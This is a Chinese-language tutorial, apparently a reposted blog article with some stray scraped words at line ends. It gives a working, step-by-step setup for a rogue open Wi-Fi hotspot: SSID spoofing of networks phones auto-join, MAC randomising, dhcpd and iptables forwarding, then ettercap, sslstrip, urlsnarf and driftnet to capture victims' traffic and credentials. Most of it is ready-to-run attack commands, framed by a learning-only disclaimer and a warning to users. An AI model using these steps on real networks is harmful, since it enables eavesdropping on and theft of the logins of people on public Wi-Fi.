利用airbase-ng創建Soft AP,再利用一些常見工具進行嗅探,或對抓包進行分析是出現比較早的一種MITM***方法。網上有不少關於手動實現的文章,也有一些自動實現腳本。這些腳本一般分兩類,一類是一步一步讓用戶輸入接口、選項什麼的,最後再運行,每一次啓動都要重複輸入不少數據,低效且不爽。第二類是自動運行的,但可選項比較少,不符合本身的使用習慣。因此,在學習過程當中本身寫了一個自動實現腳本。linux
創建Soft AP可以使用airbase-ng和hostapd,其中前者須要網卡支持monitor模式,是比較經常使用的工具,但僅支持OPN和WEP的,不支持WPA加密,不挑網卡,常見的RTL8187L既可。第二個是hostapd,須要網卡支持AP模式,8187L就用不了了,rt3070可使用,支持創建OPN/WEP/WPA各類SoftAP。本文介紹基於airbase-ng的實現,畢竟這是個輕量級且各類hack可選項較多的經常使用工具。瀏覽器
創建soft Ap並進行嗅探,主要有以下4步:安全
1.airbase-ng創建熱點bash
2.dhcpd啓動dhcp服務服務器
3.iptables設置好轉發規則,使接入Soft AP客戶的數據可正常訪問互聯網網絡
4.啓動嗅探工具收集信息dom
結束後,還能夠對抓取的包進行後續分析。固然,中間還能夠進行DNS劫持,僞造頁面進行釣魚,不在本文討論範圍。下面分步說。tcp
準備工做:ide
(1) 一臺電力比較持久的筆記本電腦,能夠直接安裝kali linux,也能夠在VMware中安裝kali。工具
(2)一塊8187L網卡,山寨的就能夠,性價比高,作工沒看出來比原裝的差在哪兒,只要保證中間芯片是真的就行。(下面照片中是原裝的)
(3)天線:感受7dbi的全向天線高度正好,再大就不方便了,並且9dbi的信號並未加強多少,反而損耗更大。方向性天線也不錯,7db方向性天線體積很小巧,聽說明在聚焦方向上可達10dbi全向天線的做用距離,用於室內空間較狹長時合適。穿牆能力就不說了,鋼筋混凝土牆兩堵,基本就很難接收可用信號了。
實測7dbi全向天線信號強度(無遮擋):65米處,-85dbm,50米處約-75dbm,10米以內信號穩定在-35dbm左右。該值很是粗略,僅供參考。通常可以正常通訊的下限是-90dbm,上網的話要求更高。固然,信號強度也和接收裝置的天線有關,不過整體上說,8187L加上7dbi的兩種天線基本夠用了,覆蓋一個公共場所不大室內空間沒問題。
(4)筆記本有internet網接入,用於將Fake AP接收的信息轉到internet上去,很少贅述。
(5)啓動monitor模式,並僞造一下本機的網卡地址
airmon-ng start wlan1 ifconfig wlan1 down macchanger –r wlan1 ifconfig wlan1 up ifconfig mon0 down macchanger –r mon0 ifconfig mon0 up
1、使用airbase-ng創建OPN的Soft AP
airbase-ng主要用於創建OPN的AP,也就是不須要密碼的公開AP。WEP加密的已經不多見了,不支持WPA加密。這一步中,最關鍵的是AP的ssid,ssid決定了AP欺騙性,也就是被鏈接的可能性。如今手機、平板電腦的客戶端會自動記錄鏈接過的AP信息,保存在/data/misc/wifi/wpa_suppliant.conf中,每一個熱點保存四個信息:ssid、psk(密碼)、key_mgmt(加密方式)、priority(優先級)。注意,其中不含網卡的硬件地址.因此,只需前三項對上,即可自動鏈接。
手機wifi功能打開時,會不斷向外發送probe信息包,裏面包含ssid。可用airodump-ng查看當前網絡環境下有哪些被probe的ssid,供僞造ssid時參考。
選定名稱後,即可使用airbase-ng創建Fake AP了:
airbase-ng $FAKE_AP_INTERFACE -e $FAKE_AP_ESSID -c
airbase-ng運行成功後,ifconfig查看,會多出一個at0接口。
root@mKL:~# ifconfig at0 Link encap:Ethernet HWaddr xx:xx:xx:xx:xx:xx inet addr:10.0.0.1 Bcast:10.0.0.255 Mask:255.255.255.0 … eth0 Link encap:Ethernet HWaddr xx:xx:xx:xx:xx:xx inet addr:10.10.10.138 Bcast:10.10.10.255 Mask:255.255.255.0 …
2、使用dhcpd啓動dhcp服務
客戶端鏈接上SoftAP後,要給他們分配IP地址。這裏有一條最關鍵,就是SoftAP的IP地址和Internet接口的IP地址不能在網一個段。好比,鏈接Internet網的網卡eth0,地址是10.10.10.138/24,則at0的地址後面不能設置爲同一網段,這裏設置爲10.0.0.1/24。
首先創建dhcpd.conf,內容包含dhcp服務運行的設置參數,關鍵代碼以下:
echo -n "[+]now creating dhcpd.conf..." cat >$SESSION_PATH/dhcpd.conf<<-EOF authoritative; default-lease-time 6000; max-lease-time 12000; subnet 10.0.0.0 netmask 255.255.255.0 { range 10.0.0.30 10.0.0.60; option routers 10.0.0.1; option broadcast-address 10.0.0.255; option subnet-mask 255.255.255.0; option domain-name-servers 8.8.8.8; allow unknown-clients; } EOF echo "done"
這些選項的意義就不一一介紹了,比較重要的時option routers,網關的設置,後續at0的地址要設置爲該網關地址。option domain-name-servers,設置DNS服務器地址,8.8.8.8是比較通用的值。
接下來而後須要將SoftAP的接口,也就是airbase-ng建立的at0設置爲該網段的網關:
ifconfig at0 up ifconfig at0 10.0.0.1 netmask 255.255.255.0 ifconfig at0 mtu 1500 route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
接着啓動dhcp服務
dhcpd -d -f -cf $SESSION_PATH/dhcpd.conf at0
3、使用iptables設置轉發
使用iptables設置轉發,將用戶鏈接SoftAP後的數據,轉發到internet上,是很是關鍵的一步。網上各類版本不少,其實最簡單的實現就一句指令:
iptables -t nat -A POSTROUTING --out-interface $FAKE_AP_INTERNET -j MASQUERADE #$FAKE_AP_INTERNET是外網接口
注意,轉發生效須要本機開啓ip_forward功能。指令是:
echo "1" > /proc/sys/net/ipv4/ip_forward
因爲後面運行ettercap時,會將該值再次變爲0,因此等ettercap運行後再執行上述命令。
4、運行各類嗅探工具
SoftAP創建並運行dhcp服務後,客戶端就能夠根據咱們設定的規則鏈接上熱點並正常瀏覽網頁,運行各個程序了。接下來,就是針對Soft AP的接口at0,執行各類嗅探:
ettercap -Tzq -i $FAKE_AP_AT_INTERFACE -w $SESSION_PATH/etter.pcap -L $SESSION_PATH/etter iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port $SSLSTRIP_PORT sslstrip -pkf -l $SSLSTRIP_PORT -w $SESSION_PATH/sslstrip.log 2>/dev/null urlsnarf -i $1 | grep http > $SESSION_PATH/url.txt tail -f $SESSION_PATH/url.txt driftnet -i $1 -d $SESSION_PATH/
以上就是實現基於Soft AP的MITM***的幾個關鍵步驟。
這裏提供一個自動執行腳本auto_opnAP.sh,最簡單的執行命令是:
auto_opnAP.sh -e xxxx -sud -i mon0 -n eth0
運行界面以下圖所示:
整體上看,如今大多數手機客戶端在安全上都有考慮,用戶名、密碼以明文直接出現的很少,特別是大企業開發的工具,但仍是有部分小企業的軟件在這方面不過重視。同時,儘管客戶端鏈接時對信息進行了加密,但用瀏覽器登陸時,因爲遵循http協議,部分狀況下用戶名和密碼更容易泄漏。因此,在公共場所使用免費WiFi時,仍是要甄別熱點的真假,並儘可能少進行關鍵操做。
聲明:本文旨在討論原理,提升安全意識,提供的腳本也僅供學習交流,本文全部測試均在自家局域網絡測試,請勿非法使用。有好的修改建議,歡迎交流。